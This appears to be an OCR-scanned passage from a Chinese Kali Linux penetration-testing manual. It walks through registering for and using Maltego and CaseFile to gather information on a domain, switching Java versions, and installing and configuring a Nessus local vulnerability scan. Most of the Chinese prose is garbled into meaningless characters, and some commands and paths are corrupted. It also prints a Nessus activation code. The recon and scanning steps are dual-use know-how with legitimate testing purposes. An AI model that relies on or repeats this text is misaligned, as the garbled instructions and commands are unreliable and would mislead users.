CA_E S 45 B bz T LS iomega KT RIPT A1 B MRS B T3, 735
oo 1P hhik . Blriy . RSO BN . o SRAR AT T B OB il A5 B S B g L,

WO 2L 3K B 1) APlkey

4.8 1% Maltego 1 13 &

Maltego /2 — TR ARG P TR, &SPk — AP 88 g 5 sl i 5 20
e 2T AR RAOR B WA SRS B, IR Bl OB T o3 41 57
[ils AR Kali Linux #2108 R EE 0 (1) Maltego, {7 1% T2 o] # i H1 P i a5 5

481 HEEIE

{Ef ] Maltego 1T H 25T, 7555 https://www.paterva.com/web6/community/maltego/

s A A . FEA A I 4.9 Bk

/ Bl (= | =] g |
) B s e O« i G |ﬂpmm.-'m.,negu % Cﬂ 1 [

5 o Google B [ Wm-mmvazeT AR cuul 8 atcublak &) FRES0NS v

Register -

Register an account today Tor free!

Firstname 1i

Lastmame b

Organisation _t‘:w;.‘ll.!:l:.‘

Email Address (101207355 48qq. com

Password |

Password Confirmation :!'ll Y]

Captcha b

avar deskma

m W

£ >

4.9 JENHKS

RIS IE#(E RS, ¥l Register $&H], FFocmit M. Bumf, 5 4k S i A

FOMBFE A e BBy, Sl , 45 H PP SaE .
4.8.2 {#H Maltego TR

{EH Maltego T HWCEEE B HAERE D8I+ .
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(1) Hah Maltego T.H.. fkicds “ MW" |Kali Linux| “{5 B | “t5iladh”
imaltego g4, 5 5o WiPE 4.10 Fros i) Fii .

Welcome to Maltego!

Steps Startup wizard - Welcome (1 of 5)

1. Welcome

2. Login Welcome to Maltego!

3, Loginresult

4, Select trarsform Leeds This wizard will guide you throwugh the steps of setting up your Maltego Client
5 Update transforms for first use

We hope that you enjoy using our product as much as we enjoy bullding it!

Pleaze nole that the {Df‘f‘ll"f‘lul‘ll['f' Edition ks intended (or non-oommential use
only!

410 Maltego A0 5L

(2) (EiZ5F i Next 328, 2 inlE 4.11 Bros i) 5 .

Welcome to Maltego!

Steps Startup wizard - Login (2 of 5)

1. Welcome Enter your details below to log in to the Maltego Community Server
1. Login

3 Login result Or if you have not done $o0 yet, register here

4, Select transform seeds

5. Update transforms Login

* Email Address |

Password |

NS

* Solve captcha

411 Fadrm

(3) £F 2 5450 00 T 0 P BsF fey s kb 0 s ) 2L G S . 4R S 9l Next #4641,
5 o i =] 4.12 By ) L im .

(4) S En T o RER. e, il Next $04, #HF B 413 iorm
S .
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Welcome to Maltego!

Steps Startup wizard - Login result (3 of 5)

1. Welcome

2. Login Hella li, welcome to Maltego Community Editionl
3. Login result

4. Select transform seeds Personal details

5. Update transforms

First name i

Surname  yw

Email address RN © qq.com

Your APl key is valid until April 24, 2014 at 12:00:00 AM CST

Bacl | Mext > | T Camcel H:

Pel 412 Trabrlish

Welceme to Maltego!

Steps Startup wizard - Select transform seeds (4 of 5)
1. Welcome

2. Login Discover transforms from:

3. Login result - )

4, Select transform seeds L] Maltego public servers

5. Update transforms

[_] Lescal TAS (Transform Application Server)

\._/O \

Note: The transform seed seltings can be changed later through Manage->Discover
Transforms.

< Back | | Cancel ]
5 4.13 AR

(5) (EIZS AR IR SE Bk . 2805 i Next 368, ¥ R2onwE 4.14 froR
SHETTTII

(6) {F1% Sk F BT ] Maltego, 1 HL sk FEELA T £ 20 Run a machine(NEW!!). &
o Bt Finish 34580, 5 Santn® 4.15 By i) 51 .
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Welcome to Maltego!

Steps Startup wizard - Update transforms (5 of 5)

1. ‘Welcome

2. Legin Ready...5et...GO!

3. Login result

4. Select transform seeds Your new Maltego client has been initialized sucessfully!
5. Update transforms

3 new application serven(s) were found k
123 new transforms were found

75 new entities were installed

You are now ready to use Maltego!
& Run a machine (NEW!)
) Open a blank graph and let me play around
! Open an example graph
) Go away, [ have done this befone!

Einish Cancel

Bl 404 SR

Start a Machine x|

Steps Run Machine - Choose machine (1 of 2)

1. Choose machine

Please select the maching to run from the list below:
2. Specify target

® Com pany Stalker .

) Footprint L1

O Footprint L2

) Footprint L3

[¥] Show on startup

[#] Show on empty graph click

415 EEEEHL

(7) A A FEET 10 B, X L H Company Stalker (Z12H W) i1, 28 )5 4
i Next #2401, ¥ 5ot 4.16 71 5L .
(8) fEiZEFR A — 1% . 5 i Finish 38, 5 S 4.7 Frasib L .
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Steps

Start a Machine

Run Machine - Specify target (2 of 2)

1. Choose machine
2. Specify target

The Company Stalker machine requires the following inputs:

Domain Mame |paterva.com

416 f5505E Hib

Results Limited k

ﬁ Mote that results within machines are restricted tp12 entities in the Community Edition
=Y

Don't show again

% 4.17 Results Limited

(9)1Z Ft 4 7~ 15 BAE paterva.com FHLHALET 12 A2k 7212 FE M1+ Don't show
again, #RJ5 L OK #2815 was s 4.18 Py 5.

P Infragtructure
= A5

" DNS Hame
Domain
IPvd Address
MX Record

N5 Record

Dk Enticy :
Find Selection :: F  §

5 Mew Graph (1) =

Bubble Wiew Entity List

(a/

pAlErvaCom

= Property View

=

2 Dunput - Tramsform Qutput

<idn Properisse

P 418 1217 L
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C10)i% St ks T WG 1) paterva.com. G0 335 5 ops, 7645 U E Palette | £ 4F Domain,
ARG R AR 4 3] Graph P fEIZ S HIESE paterva.com Y4, FFSEA M B R
paterva.com 3 4 ) FH IG5 . W 4.19 frzR. Z8E08 1S Bl BUES, s oo 4. sl
Property View f£1 [1'] Domain Name, 4 BlFrik b 207 1444 glin] LUE S @ltn, Fax R
1 4 paterva.com 15244 targethost.com, $f 5kl 8 4.20 Fros ) ¥ .

o B B FEETT

Main View | Bubble View | Entity List ¥ = e S

oape = |55 New Graph (1) =

o G

[.'JEitEI“.-’Ei com

= Property Yiew

@ Properties
T_':.'p-c

WHOIS Infa
& Graphinfo

. f||||:-| 1ing

Outgoing
Boakmiark

[ output - Transform Output

I New Graph (1) = I BB Ef Detail View ox

Main View Bubble View | Entity List | | | -

targethost.com

&/

targethost.com

| I
| Property View »ox

@ Properties

Type

Domain Name targethost.com
'WHOIS Info

@ Graph info

Weight

4 4.20 targethost.com {5 &
(1) —HHbs N E RS G, o anT LS st 8. 5 oo di il g i s 44,
FFHEFE Run Transform 5§ S 7 2L E 100, Wils 4.21 Frok.
(12) FEiZ ST PLEE SR 48 DNS 44, 4T WHOIS IR -7 hi ok 5545 . ol
IR ATATA R, BoRES R 4.22 R,
(13) Wiz S el EL B3R 712 05| targethost.com (45 5. APt m] RS [A)FF
M, i KA EEE NG R
Pl LT ] Maltego M5 [#) &% . Maltego J& i1 Paterva 81—~ TFE T H, TS
SR FIHCUE . AR 20 A /41 T Maltego (Y4236 (n) 5, 0D 528 2 P e rp JF (A H i sk
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. BLAERF2E 2] U Maltego 420 H AR, Jits S FokiE e TIE. By Paf
LLA X 0 B s ol M 7F B br e 28 B (S L, i il ek Hchl o R 95 48 A AT
WHOIS i %,

= sanrage <[ nencrapn =6 vew o )< [ L]

Main View | Bubble View | Entity List & E| [ |h|,.m el ARE lil

i £ Run Transform k¥ All Transforms
target

]
&F Run Machine ¥ DMS from Domaln k
Copy to New Graph * Domain owner detail L4
1 Change Type * Email addresses from Domain L4
Merge Files and Documents from Domain ¥ 1
Clear/Refresh Images # Other transforms
Attach All transforms
Type Actions J
Copy
Copy (as List) L
Cut
Delete
|
I I |
5421 A ahlicRE R
i StartPage = | bew Graph (1) = |55 New Graph 2] = _ oooE
Main View | Bubble View | Entity List | (0 OB AL eSsES
=

~ a8
L L
¥ I ¥
ralirgEhatiem W niETe .i'.r Habby Mxh e Seaprt e mal irpritantoam e Lt anioan a lrgrfantiion
L ¥

I! ]

[ output - Transform Output

Rurndng transform DomainTaS0MlInformation on 1 entities

Transfoerm DomainT oSO8 Information refurned with 2 entities.
Teanshodre Do ainT oSO Ind ormaticn done

Rurning transform To Website DNS [using Search Engire] on 1 #ntities
Transfomm To Welsine [Quick lookup] retumed with 1 entities.

e 422 {5 B

ey LAl ik Transform Manager % 10 All Transforms F1 %5, 5 sl FIAE RS0 4,
e 4.23 Fros.

i]l:}‘gll
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Transform Manager Y H
AN Transtorms | Trarslorm Servers | Transform Sets |
& Mew Local Trarsform. . d =
Trsdafonm SLatud Latation Dl gt 56t Irgnit Out
||
¥l £ AliasToTwitter Accoumt m
] AliasToTwitter Uiser
|E| ’ DomanToDNSNameschema
[¥] @ DomanTosOAInformation
(] @ DomainTaSeFinformation
[P [T TR R S Jr—— -
AliasToFacebookProfile 1 |9 Properies ]
Dhesatripticn
Status -
Locatien
- Deelaull set —
Rk ﬁ Inpat I
AliasToFacebookProfile LT
Betumrs a Facebook affiliation for an alias (phrase)
Tt sy L

4 423 Transform Manager 5171

TEZSAE A T AT FARAY mile 0 T RERSAE LA A 215G 32 disclaimer,

52 disclaimer )77k, FiZ AT A0, ol BEE R View disclaimer $40,
V4 S5t 1] 4.24 o (6 L .

Transform Disclaimer ﬂ

HickrAccountGetFriends

Please note this transform is being run on the Patersa Transform
Distribution Server and has been written by the user "Andres
MacPherson’, This transform will be runan

httped/alpine. patena.comd'cgi-bindflickrGetFriends. py and Patena
cannol be held responsible for any damage caused by this
grarsform, YO Fun this AT YOUR OWHN RISK, Foar more
information on this transform feel free to contact
andrews@patera.com Additional: PaC Onlyl Mease do not use
outside of this workshop

[+] 1 accept the above dsclalmer:

(=]

4 4.24 Transform Disclaimer

{E1% FL11°F 1 accept the above disclaimer &£ HEZ) [, #R )5 8 Close fedl i nlLL T .
4.9 2o W k25 M A

CaseFile | HLH A2l e ek b . R T H aedesds i fnde i, JF6e BLE R B
TEA TG I M 28 54 P . A5 A1 4 Maltego CaseFile 148 .

{E{# H] CaseFile T H.2Z 1y, FiEEd K406 1Y Java Fl Javac Wi 4<. [K4 CaseFile T
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HIEH] Java JFACRY, 1fn Hoaz T HAZEATHE Javal 7.0 B4 |- {HJE7F Kali Linux W1, 4%
T JDKG6 Fl IDK7, fii CaseFile BRIA{EHIf) & JDK6. JLIFHEAT CaseFile T HJ5, 5
Tk Rt . BT LLE T B0 IDK RRAS, 20AR JDK WA I 5 i R B R .

{ifi | update-alternatives iy 21404 java fig 2 WA . $ATd 200 FFs:

root@kali:~# update-alternatives --config java

B 2 MEET A BT &R java (121 /usr/binfjava).

T Bz HER bF 03
*0 lusrflib/jvm/java-6-openjdk-i386/jre/bin/java 1061 B ahiE,

1 lusr/lib/jym/java-6-openjdk-i386/jre/bin/java 1061 Fahig,

2 Jusr/lib/jvm/java-T7-openjdk-i386/jre/bin/java 1051 FahtaEzt
BHFYUGTEFIRREESE. HFRNEZNRS.: 2 #ifi N JDK7 MiAHS

update-alternatives: using /usr/lib/jvm/java-7-openjdk-i386/jre/bin/java to provide /usr/bin/java

(java) in Fahlizt

M (B b aT LR B 285 20k TDKT A, i B2 Fahieal. s i A java i
LI TR E B, AT A R T

root@kali:~# java -version

java version "1.7.0_25"

OpenJDK Runtime Environment (lcedTea 2.3.10) (7u25-2.3.10-1~deb7u1)

OpenJDK Server VM (build 23.7-b01, mixed mode)

MEL_E gl SRerp ] BLaf 2 i1 RS java iy & AL 1.7.0.

i ] update-alternatives iy % 1204 javac fiy & WA AT 2 W F s

root@kali:~# update-alternatives --config javac

£ 2 MEkma BT &R javac (32t /usr/binjjavac).

ik it RER by $53
* 0 fusrllibljvm/java-6-openjdk-i386/bin/javac 1061 BaiE

1 Jusr/lib/jvm/java-6-openjdk-i386/bin/javac 1061 Faikzl

2 lusrllibfivm/java-7-openjdk-i386/bin/javac 1051 FahiE
FERHYAEEEOEGE, SHFRNEENES: 2 #ifii N JDKT A=

update-alternatives: using /usr/lib/jvm/java-7-openjdk-i386/binfjavac to provide /usrbin/javac

(javac) in FahiEzt

M 0 B T LU B Q2B 00k JIDKT JUAs, 1y B T ah . X, T H javac
S EELGHIRAGE R, Arar2nrirR:

root@kali:~# javac -version
java version "1.7.0_25"

MEL gk S onT LIS 2 M AT RS javac fir & AL 1.7.0.

[ 4-7] 1] CaseFile T HEH— &g iy . B ARERAE 0 8RWF Fros.

(1) Jiah CaseFile. {f¢ i+ « M HIFE 7 " [Kali Linux| “{5 S " | “ 4R 4381 7 |casefile
T4, B E 4.25 Bt S .
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Welcome to Maltego!

Steps Startup wizard - Welcome (1 of 2)

1. Welcome
2. Ready..Set..Go! Welcome to Maltego CaseFile!

We hope that you enjoy using our product as much as we
enjoy building it!

L3
| <pack |[ Next> ][ Finish |[ cancel |[ Help
P 4.25  Fcim i
(2) G A0S B, 2R gk Nexe #6481, 8 Bosinl® 4.26 B S .
Welcome to Maltego! |
Steps Startup wizard - Ready..Set..Go! (2 of 2)

1. Welcame
2. Ready..Set..Go! Ready...Set...G0!

What do you want to do next?
@ Dpen a blank graph and let me play around

) Open an example graph
) Go away, | have done this before!

| <Back || next> |[ ginish || cancel || welp

426 EENST

(3 1% ST 36 oG 2 T AF 2 B A . JX L% ¢ Open a blank graph and let me play around,
SR J5 i Finish f08, R 2o Wi & 4.27 Fras i F i -

(4) Mz gt nl UG B8RS B, BB R AT 5 . 1% T H A Maltego
TH—#, TEMNALE Palette i Bt sLph B f erh o Al vk #8408 B B0sE &, JF Aok
ALt i 4.28 Pk

(5) fEiz S0 nr LB — R . B BbsdR Bl s b, SRR ER,
ik i P8 4.29 P A i .
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Maltego Casefile Commurity 1.0.1

Investigate Manage Organize

Paste l:llll" - Quick Entity

all & pelete | Find Selection =a

[w]Pal.. | « & |Ef New Graph (1) =

¥ Devic... Main View | Bubble View | Entity List

= Deskto
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Adevice
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A portab

Adevice

Smartpl

A mobile ™

SE 1]

Maltegao CaseFile Commumity 1.0.1
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K '| M :1[ whAA
Paste Clear ™ — Quick EH axXX I*

all & pelete | Find Salection 13 .’. s
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5425

Makego CaseFile Community 101
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&= Events
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L]
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&u

Al intar

Damain Name pateryi...
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L
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(6) FEIZIHM W LLEZIEMIERGE R, %68 TeER. & BUbR O 315E: 815 B
BRI B RS AE ] AR AR S, L S SR A, HRRAL SR H H AR

ML DNS {550, Wk 4.30 .

L

. Cut
Paste Clear —_—

1Pvd Addres
an

Am IPF wargio
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NS Record _
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(9) % FH7 Aok VB R 2 0 k. o] LA Ol kLA . B SR
(10) FHELULEF (5) . (6) .« (7) 1 (8) BEWFIMHELAFE, RLBIMEKE.
M2zl — AR R R A AR a5, e 4.33 Fras.

= )", Start Page = "0 Mew Graph (1)* =

=1 M™ainview | Bubble View  Entity List
rn
L
Target Company \\

| 192 168 10101 Mgmt

(& ko gi

paterva.com 74207.243 B5 #

\‘ 19216610106 Admin

- . e |

WWW.PALENVA COm 192 16810 201 HR

5433 ZlshMEs

(1) MAZSRTAT LA B — AN AR S 25K 18 el P T LURAE ], SR
fif, UG OT LT FF IRtz . AR A5 S AT IF 1 Graph % 11, W LU A L 0@
s LA bR, WiPE 4.34 Pros.

Maltego CaseFile Community 1.0.1

Recent Documents
Hew

Open

L}
a s

ﬁ Save all
H Save As

'—:'l Save to Server

£ Deatai_.

— lecti
i "."" Import ¥ i =no selection>
" :'3 Export 3
“ Print k

9 More about CaseFile

X Exit ~ Options o

4 434 i Graph
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TE1Z T R New 4224, 432 QIEE— 37 Graph, L2545 44 4 New Graph(2), 01
4.35 o

Maltego CaseFile Community 1.0.1
Investigate Manage Organize
L 5 “ M @ NAAA 37

Paste Clear ut | quick Entity RAXA D

All @ pelete | Find  Selection 23 J, fu & ~
L palette |« x | start Page = | New Graph (1) * = [ New Graph(2) =

‘-' Main View = Bubble View | Entity List | [

@ Bomain Ma

Damain
An interndg

IPva Addr

An IP vers

/

]

& MX Recor
A DNS mail

. NS Record
o

A DNS nam

=3 Nethlock

¥ 435 i) New Graph(2)
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ES5E kA A &

Je iR 2 — PR QAT AL, FE RS, MEE N LR SRR AR A
59 03RRIl L MESRT H bR RETHEATERN, ) HAR RS ARG, P RmEdE S A
e I R AR FERE T T VLA, #Em %025 H i RE_EAAEM 2R . RPN RE R g
P E8 G b AN A )T B, Do BLEBCR A, WU P e iR 4 FLAR i B EREE, R nT e
R M s R A I A T, R R RS 2 A B RS R b, AT AT Rk
BB B2 s i AR A, B EARRATT o] LUAE Bh - SR i i) T HRese il
Uil Nessus fil OpenVAS., A F0H 7 E 40 DFf X - L .

5.1 1# ] Nessus

Nessus 5 %2 5 E R AT SRR T, At S 75000 AR S .
1% T BB e ¥ 00 v o el 4 8 MR 55> i Bt It 5 e i 454 1 . Neessus AN 8] 1% 48 i)
A A, Nessus A [A) i 72 A HL ok s v s, 3091 &40 0k 1 4 8314 . Nessus {12
BIEMEE T H . BTRL, A aiacde. Bl JF i 8) Nessus.

5.1.1 ZZEFNECE Nessus

JTERAE HbR A4S0 LI, Nessus #CH feeds 14 2095 I 5. Nessus 1749
R4 T PP A FRERCRI Sk AR .

Q FEEM: FEERUR AR A s A N . SEMLERGE &N AMEH], nTUUR T

B2k [ BR5G

Q olkhi: LolkRsoE bR . e R EE S Er R Inthfe,  WnJnsk A R

ANYTEH] Nessus 5 EERNCK M4 E 1) 3. AR EREPIROF ras.

(1) T4k Nessus ¥, Nessus 095 /7 F#Hihb 2 http://www tenable.com/products/
nessus/select-your-operating-system. &30 W28 b Az bk, # SoaswipE 5.0 B S .

(2) fEiZS A ) Download Nessus F, #iili Linux, JfiE+F M4 Nessus-5.2.6-
debian6_i386.deb 1, Wil 5.2 fiax.

(3) H.ili Nessus-5.2.6-debian6 1386.deb )5, 5 5ot 5.3 B 5.

(4) {EiZFHI e dy Agree B8, FIF0R Fak. 2850 P, R0 CRERE
S AT
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N [ESREEl™ <)
O Download Nessus | Ter =
= C [ www.tenable.com/products/nessus/select-your-operatinefa 33 =
# @A ) Google BE (B Ex-emedan.. [BEx—TF. ew0l L[] S »
Download Nessus
Please Select Your Operating System
v Microsoft Windows What's New in Nessus
¢ Mac O5 X MNessus, a versatile vulnerability
v Linux I - I - )
¢+ FreeBSD I
R
v Solaris
md
¥ Cn("Ck.SL-I'I'IS & GPG Kl:\"li FEMmeialne '.'.:.'k" O
. I
4 5.1 Nessus F#5H
Download Nessus
Please Select Your Operating System Subscription Agreement
TENABLE NETWORK SECURITY, INC
MNESSLIS®
¢ Microsoft Windows SOFTWARE LICEMSE AGREEMENT
¥ Mac 05X This is a legal agreement "Agreemant”) between Tenable Network
Security, Ir & Delaware corporation having offices at 701
and you his

- covers You
Debian 6.0 (32 bits) YO MO
VT VT

Messys-5 2 B-debiant

Deblan 6.0 (64 bits)
Messys-5 7 B-dehlanG amd&d deh

Red Hat ES 4/ CentO5 4

MNessus-5.2 6-es4.i386.rpm
Red Hat ES 5 (32 bits) / CentOS5 5 7 Oracle Linux 5 (including -
g 5.2 4% Linux &2 Nessus 53 BliFaliE

(5) F#E5E Nessus FfF0L, IAEHT LR LR T . SATdnr W F IR

root@kali:~# dpkg -i Nessus-5.2 6-debian6_i386.deb
Selecting previously unselected package nessus.

(EAEIEEIEEE . REUaiREs 276380 X HMER. )
IE#EMEESE nessus (M Nessus-5.2.6-debian6_i386.deb) ...

IE#8 8 nessus (5.2.6) ...

nessusd (Nessus) 5.2.6 [build N25116] for Linux
Copyright (C) 1998 - 2014 Tenable Network Security, Inc
Processing the Nessus plugins...
[ g B e . A 7t 0 T AT . T B
All plugins loaded

4 H e e e e

- You can start nessusd by typing /etc/init.d/nessusd start
- Then go to hitps://kali:8834/ to configure your scanner
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AR LL ARl S B, #5 Nessus T3 pE ). Nessus BRI 2367
lopt/nessus H .
(6) Ji5h Nessus. 04T a-2 00 FFos:

root@kali:~# /etc/init.d/nessusd start
$Starting Nessus : .

M A5 B b Al RUR B Nessus [l 55 22 A 8.

LGFE. 12H Nessus 287, LHA —AVE e, :FRIGHERG T ELES 2 T80
pit, X P AR,
(7) Hi% Nessus. 047210 F Fras:
root@HKali;~# /opt/nessus/bin/nessus-fetch —register 9CC8-19A0-01A7-D4C1- 4521

(8) by Nessus il t—H /. AT d 4 W R Fros:
root@Kali:~# /opt/nessus/sbin/nessus-adduser

(9) %Fak Nessus. L3 EF D AL https:// 41 1P:8834 5 https:// 1§ 44:8834.

it PL PRI TEAN A 45, Nessus MCELF 1o ST LUER] Nessus 394 #0035
il AL ] Nessus F1 41 i 2 i 5 2Bl S il s R AE S5, S 07 S i SRR (¥4 41 45 f
e, B TR A AH AL SRS M RAE 55 10 T ik

1. NGRS

a0 g ) B AR D TR W R AT
(1) Bt Nessus. Nessus & — a2 p i, LIS ERINEEG A fOVFE . e
e Hb bl RPN https://192.168.41.234:8834/, 11 Lo E 5.4 Fron it FLim .

-

Untrusted Connection - lceweasel m
File Edit View Higtory Bookmarks Tools Help
A Untrusted Connection Iil
[ @ hiips192.168.41.234:5034 ~ @) [Bv cocgle a { »

EMost Visited lOffensive Security ", Kali Linux % Kali Docs [Exploit-D8 Wy Arcrack-ng
i W This Connection is Untrusted

You have asked lceweasel 1o connect securely to 102.168.41.234:8834,
but wa can't confirm that your connection is secure

Mormally, when you try to connect securely, sites will present trusted
identification ta prowve that you are going to the righ'r Plll:l Heowever - this
site’s identity can't be verified.

What Should | Do?

If you usually connect to this site without problems, this error could mean
that someone is 'rr1_|rinr:| to implr:ur.:'rl the site, and you shouldn't cantinue

| Get me out of heret |

Technical Details

| Understand the Risks

54 EEAEGT
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(2) fEi% % %17 1 Understand the Risks %41, 5 5o iPE 5.5 Frosil 9t .
Untrusted Connection - leeweasel Hﬁid

File Edit View History Bookmarks Toaols Help
A Untrusted Connection | =] ]

€ | @ heipe192.168.41.234.8834 v @ [Bv coogle al { =@

i Most Visited~ [ Offensive Security "\ Kali Linux & Kali Docs EMExploit-DB Wy Aircrack-ng

- ¥

-

continue.

l Get me out of here! |

~ Technical Details

v | Understand the Risksi

If you understand what's geing on, you can tell lceweasel to start
trusting this site's identification. Even if you trust the site, this error

could mean that someone is tampe-ring with your connection.

Don't add an exception unless you know there's a good reason why this
site doesn't use trusted identification

Add Exception... | I

P55 1AL

(3) ZFFI R T PR AEE, ity Add Exception #2481, 5ol 5.6 B
FrTi o

Add Security Exception
ﬁ You are about to override how lceweaasel identifies this site.

Legitimate banks, stores, and other public sites will not
ask you to do this.

Server

Location: I https:ﬁl'&l 2.168.41.234:8834/ l [Qﬁt Certificate l

Certificate Status

This site attempts to identify itself with invalid View... -
X |

information,

Wrong Site

Certificate belongs to a different site, which could indicate an
identity theft.

Unknown ldentity

Certificate is not trusted, because it hasn't been verified by a
recognized authority using a secure signature.

Permanently store this exception

Lonfirm Security E:ceph’nnJ Cancel |

B 5.6 Rnd 4= 2t

(4) fEi% 5t ; Confirm Security Exception 4§, % ot 5.7 Brorpl 51 .
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o [x

Nessus / Login - lceweasel

File Edit Wiew History Bookmarks Tools Help
¥ Messus / Login l = |
‘ | 8 https://192.168.41.234:8834/html 5. html4/ R EJ 8- Google Q'] {B' ﬁ

f5 Most Visited [lﬂ-ffens'we Security %, Kali Linux "W Kali Docs nExpLuit-DB W Aircrack-ng

-~

home

{@ Nessus

admin

...u|

Remember Me

4 5.7 Nessus Tat il

(5) FEIZSERH ARGV A H - AR iy, SRSl Sign In 08, KR 5.8
IR
Messus [ Scans = lceweasel BHLHI!#

File Edit View History Bookmarks Tools Help

l ) Messus [ Scans ‘iﬁ]

4 B [ & nps/127.0.0.1:8834/ntmiS htmls/scan: v €| (B~ Google a {

B Most Visited~ [JOffensive Security "\ Kali Linux "8, Kali Docs KJExploit-DB Wy Aircrack-ng

ns | My Seans

My Scans
Mo scans have been generated for this account. You can add a scan by clicking the “New Scan®
bulton.
Trash
b All Scans k
Mew Folder

% 5.8 Nessus =54

(6) TEiZSE 0l BUbR D)4 2] Policies IR b, ¥ Wos 18] 5.9 o i) S0
(7) TEiZ S .47 New Policy 241, 44 B wild 5.10 Brom i F1i .
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MNessus [ Policies = lceweasel hILJ!.;I
File Edit View History Bookmarks Tools Help
| ) Nessus / Policies iﬂ
€ [ & ntps://127.0.0.1:8834/ntmi5 htmi#/policies v @| B~ Google a 4

B Most Visited~ [l Offensive Security " Kali Linux " Kali Docs [BExploit-DB Wy Aircrack-ng

Policies Upload

O Hew Palicy Policies | All Policies

All Pollcies
No policies have been created. You can add new policies by clicking the “Mew Policy™ button,
k
v
P59 EBSSm
Policy Wizards
T ¥ [a
EI\ E i\
Mobile Device Scan Prepare for PCI DSS Audits Offline Config Auditing
4 k ¥ L} K ra =1 I I ] ¥ § 1 1 ] Tk 1

&,

Advanced Policy

Pel 5.10 g )

(8) ZFFMIEFEQIESRIE A . Nessus BRINSZHF 10 Fhagmg A, 7EoimgaR iy b4y o

(o4& P Feil W . X ik Advanced Policy 2274, fiiizEbefs, SRR 511 Fr
HENIN

(9) RSt W4, o WWAEARGAGE B (nfitm) o X3RRI Local
VulnerabilityAssessment, 1] WL private. #8559 220007 Plugins £r%%, o8 Sl 5.12

P S . 728 511 th Visibility 43 P54~ £ 200,
Q private: 1 1 CAET A& FEBS 04 .
Q shared: A0 Pt BEAE F 2 SEmE 440 .
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£ Policies Mew Advanced Policy / General Settings / Basic
General Settings
g Setting Type Basic -
Credentials
Plugins Name
Local Vulnerability Assessment
Prelarences
Visibility
private -
Descriplion
Allow Post-Scan Repod Editing
P 501 B
Policies Disable Al | EnableAll..| -
¢ Policies Local Vulnerability Assessment / Plugins Show Enabled | Show A
General Setlings Staius Plugin Fami... Total i Stafus Flugin Mame  Plugin ID ﬁ
Credentials AIX Local .. 11053 Defautt ... ax274
Plugins S Amazonlin.. 39 Defaut ... Lt
Preferences
m Backdoors a7 ENASLED Diefault B5820
B cveoce.  ® ooan .. e
EEE] ceosie.. e Defautt ... 40355
DISABLED CGl abuses 204 Dalault ... 48240
CGl abuses... S0 | Defautt . 42368 s

e 512 JE{ERE

C10) Z S B T IR R, BOlefEnahny. 781z 50mnl LIy Disable All
fictl, ZERIPTAT s A PERE Y . B IR0 W 20 sh s FE . W32 Debian Local
Security Checks F1 Default Unix Accounts ffifFFER, HahiE WP 5.13 fix.

(1) Rz Sty Save 48], 5 S tn B 5.14 Fros it 50

(12) MiZSEA] LLE )8 dt i 0% Local Vulnerability Assessment, 2¢7%1% 5 08% CL 61
HERCT .
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Policies Disakle Al Enabde Al -
¢ Policies Local Vulnerability Assessment / Pluging Show Enabled
General Settings “ CGl abuses ... 550 Status Plugin Mame  Plugin |D
Sredentlas CISCO 458 ] Detault ... 48274
Plugins Databases 345 Default ... 12513
Freferencas
Detéan Loca.,. 2891 Dafaull ... 65820
Dietautt Unix. . = Defauit 34081
Denial of Se... 104 Default ... 40355
e oca.. & owun .|
] <]
Cancal -
== 1
B 503 5 shifdE R
Hessus [ Policies - lceweasal ulﬂ l.j
Fle Edit View History Bookmarks Tools Help
J Messus ! Policies i*]
48 [ @ hitpe:/127.0,0,1:88 34 ntml 5. ntml #/policis ~ @] [B~ Gocgle al 4 =@
B Maost Visited [l Offensive Security " Kali Linux ™ Kali Docs lExplait-D8 Wy Aircrack-ng

All Policies
All Policies Hama * Cwmar Typ=
Local Vidnerabilily Assessm @l admin Privale

P 514 R S

2. FELAHETS

SRS QR R e, 2B AT 55 A RE SE IR AR . T DR A R @ AT 55

MR AR IEL R

(1) 1EM 5.14 0, 4 Bl An D)9 3] Scans TEIHF |, HF b WEl 5.15 Pras i Fri
(2) M StIAT LU 3 2 Qi AT AR 55, B ARG s 44T 95 J5 A 44 .

{E1% S 100 ok New Scan 144, #5516 .

(3) FiZAMEERNAT S AER SR SO0 B obr . X B v A
Sample Scan. Local Vulnerability Assessment ( {ij [fii #r @ 09 @85 ) . My Scans I

192.168.41.0/24. #% )5 il Launch $44, 35 5 & 5.17 s St .
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(4) MiZzFr i o] LA BT S& ) Running (IE4Ei24T) . #sn Sample Scan
FARMAT ATl AR b, TR o (k) L. R R T
%, i i

Messus [/ Scans - lceweasel HI:JI..J
File Edit View History Bookmarks Toeols Help
“¥ Messus [ Scans i -
* [ﬂ https:f127.0.0.1: 88 34/html 5. html#/scans ~ E] IHV Google 'Q] ‘} &

Bl Most Visitedv [JlOffensive Security W, Kali Linux "% Kali Docs  ERExploit-DB W Aircrack-ng

My Scans
Y Mo scans have been generated for this account. You can add a scan by clicking the "New Scan® button,

Trash

k All Scans

Maw Folder
[ 5.15  HHE % R
’ s
£ Scans New Scan | Basic Settings
Basic Seftings Name Sampla Scan
Schedule Settings
Palicy Lacal Vulnerabilily Assessment -
Email Sattings
Foldar My Scans -
Targets 192.168.41.0/24
Upload Targels Add Flle
L

2 5.16  FrEEMTE
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Messus f Scans = lceweasel - | O | X ]
File Edit View History Bookmarks Tools Help
2 Nessus | Seans ||

@ [ & nitps//127.0.0.1:8834/ner nl#fscan v @ [Bv coogle a { B

B Most Visited~  JJOfensive Security " Kali Linux % Kali Docs fJExploit-DB Wy Aircrack-ng

Scans ot
My Scans
My Scans B Mame Stalus
Trash Sample Scan f,J Running
b All Scar
Mew Folder

5 5.17 s HR S

5.1.2 HAKHIFE

TEAVIET A4 T Nessus [F)%%e, Bl'E ., Tk ol RS M e 55, M UGS —
PRI 2 2 A o )T RS A AT A A LR A R, A A e A
I TR Bl RN B R R B o A 4 1S IR

[ 5-11  Fde A b FAR B D IR W~ o

(1) #4454 Local Vulnerability Assessment HiH% .

(2) FEInFT i BAE TR P .

O Ubuntu Local Security Checks: 14 A Ubuntu 2 4§ 5 .

O Default Unix Accounts: F14HER A Unix /.

(3) Hrit44 k Sample Scan $4{T % .

(4) . FRESRATEUS, B o 5.18 B i) Ft i .

Messus f Scans = lceweasel

File Edit Wewew History Bookmarks Tools Help
J Nassus | Scans i‘};

@8 [& heipsi127.0.0.1 8834 html S html /s v €| [Bv coogle al § ®

B Most Visited~  [flOffensive Security ™, Kali Linux %, Kali Docs  [fNExploit-DB W Aircrack-ng

Scans Upland
My Scans
My Scans Hama Last Updated = Status
Tra Sample Scan Aprl 24, 2014 15:08:08 «  Complelad
¥ All Soar

5 5.18  FIfsemk
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(5) {EIZFHHAGHEART % %85 Sample Scan, W sfIfi miEanE &, Wi 5.19
Eﬁmn

[2]

